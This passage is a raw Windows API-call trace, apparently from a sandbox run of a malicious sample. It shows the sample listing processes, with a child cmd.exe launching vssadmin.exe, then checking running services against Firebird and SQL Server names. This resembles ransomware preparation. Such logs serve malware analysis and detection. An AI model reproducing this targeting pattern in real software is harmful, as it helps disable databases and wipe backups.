	[0055.199] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.200] lstrlenW (lpString="svchost.exe") returned 11
	[0055.200] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0055.200] lstrlenW (lpString="dwm.exe") returned 7
	[0055.201] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0055.201] lstrlenW (lpString="explorer.exe") returned 12
	[0055.201] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0055.202] lstrlenW (lpString="spoolsv.exe") returned 11
	[0055.202] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0055.203] lstrlenW (lpString="taskhost.exe") returned 12
	[0055.203] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.204] lstrlenW (lpString="svchost.exe") returned 11
	[0055.204] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0055.204] lstrlenW (lpString="taskeng.exe") returned 11
	[0055.204] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0055.205] lstrlenW (lpString="taskhost.exe") returned 12
	[0055.205] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0055.206] lstrlenW (lpString="program.exe") returned 11
	[0055.206] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0055.206] lstrlenW (lpString="felt.exe") returned 8
	[0055.207] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0055.448] lstrlenW (lpString="bibliography.exe") returned 16
	[0055.448] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0055.449] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0055.449] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0055.450] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0055.450] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0055.451] lstrlenW (lpString="converter.exe") returned 13
	[0055.451] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0055.451] lstrlenW (lpString="once.exe") returned 8
	[0055.451] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0055.452] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0055.452] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0055.453] lstrlenW (lpString="always.exe") returned 10
	[0055.453] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0055.454] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0055.454] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0055.454] lstrlenW (lpString="donated.exe") returned 11
	[0055.454] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0055.455] lstrlenW (lpString="nowherepike.exe") returned 15
	[0055.455] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0055.456] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0055.456] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0055.467] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0055.468] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0055.468] lstrlenW (lpString="allowance.exe") returned 13
	[0055.469] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0055.469] lstrlenW (lpString="conducting affect.exe") returned 21
	[0055.469] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0055.470] lstrlenW (lpString="plaintiff.exe") returned 13
	[0055.470] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0055.471] lstrlenW (lpString="dialog.exe") returned 10
	[0055.471] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0055.472] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0055.472] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0055.473] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0055.473] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0055.474] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0055.474] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0055.475] lstrlenW (lpString="swpesp.exe") returned 10
	[0055.475] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0055.475] lstrlenW (lpString="cmd.exe") returned 7
	[0055.475] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.476] lstrlenW (lpString="conhost.exe") returned 11
	[0055.476] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0055.477] lstrlenW (lpString="vssadmin.exe") returned 12
	[0055.477] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0055.478] lstrlenW (lpString="VSSVC.exe") returned 9
	[0055.478] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.479] lstrlenW (lpString="svchost.exe") returned 11
	[0055.479] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0055.479] CloseHandle (hObject=0x158) returned 1
	[0055.479] Sleep (dwMilliseconds=0x1f4) 
	[0056.043] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53f078
	[0056.043] EnumServicesStatusExW (in: hSCManager=0x53f078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0056.043] GetLastError () returned 0xea
	[0056.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ec0068
	[0056.044] EnumServicesStatusExW (in: hSCManager=0x53f078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ec0068, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ec0068, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0056.044] CloseServiceHandle (hSCObject=0x53f078) returned 1
	[0056.044] lstrlenW (lpString="Appinfo") returned 7
	[0056.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0056.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0056.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0056.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0056.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0056.045] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0056.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0056.045] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0056.045] lstrlenW (lpString="AudioSrv") returned 8
	[0056.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0056.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0056.045] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0056.045] lstrlenW (lpString="BFE") returned 3
	[0056.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0056.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0056.045] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0056.045] lstrlenW (lpString="CryptSvc") returned 8
	[0056.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0056.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0056.045] lstrlenW (lpString="CscService") returned 10
	[0056.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0056.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0056.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0056.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0056.046] lstrlenW (lpString="DcomLaunch") returned 10
	[0056.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0056.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0056.046] lstrlenW (lpString="Dhcp") returned 4
	[0056.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0056.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0056.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0056.046] lstrlenW (lpString="Dnscache") returned 8
	[0056.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0056.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0056.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0056.046] lstrlenW (lpString="DPS") returned 3
	[0056.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0056.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0056.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0056.046] lstrlenW (lpString="eventlog") returned 8
	[0056.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0056.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0056.046] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0056.047] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0056.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0056.047] lstrlenW (lpString="EventSystem") returned 11
	[0056.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0056.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0056.047] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0056.047] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0056.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0056.047] lstrlenW (lpString="gpsvc") returned 5
	[0056.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0056.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0056.047] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0056.047] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0056.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0056.047] lstrlenW (lpString="iphlpsvc") returned 8
	[0056.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.047] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0056.047] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0056.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0056.047] lstrlenW (lpString="LanmanServer") returned 12
	[0056.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.047] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0056.047] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0056.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0056.047] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0056.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.048] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0056.048] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0056.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0056.048] lstrlenW (lpString="lmhosts") returned 7
	[0056.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0056.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0056.048] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0056.048] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0056.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0056.048] lstrlenW (lpString="MMCSS") returned 5
	[0056.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0056.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0056.048] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0056.048] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0056.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0056.048] lstrlenW (lpString="MpsSvc") returned 6
	[0056.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.048] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0056.048] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0056.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0056.048] lstrlenW (lpString="Netman") returned 6
	[0056.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0056.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0056.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0056.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0056.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0056.048] lstrlenW (lpString="netprofm") returned 8
	[0056.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0056.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0056.049] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0056.049] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0056.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0056.049] lstrlenW (lpString="NlaSvc") returned 6
	[0056.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.049] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0056.049] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0056.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0056.049] lstrlenW (lpString="nsi") returned 3
	[0056.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0056.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0056.049] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0056.049] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0056.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0056.049] lstrlenW (lpString="PcaSvc") returned 6
	[0056.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0056.050] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0056.050] lstrlenW (lpString="PlugPlay") returned 8
	[0056.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0056.050] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
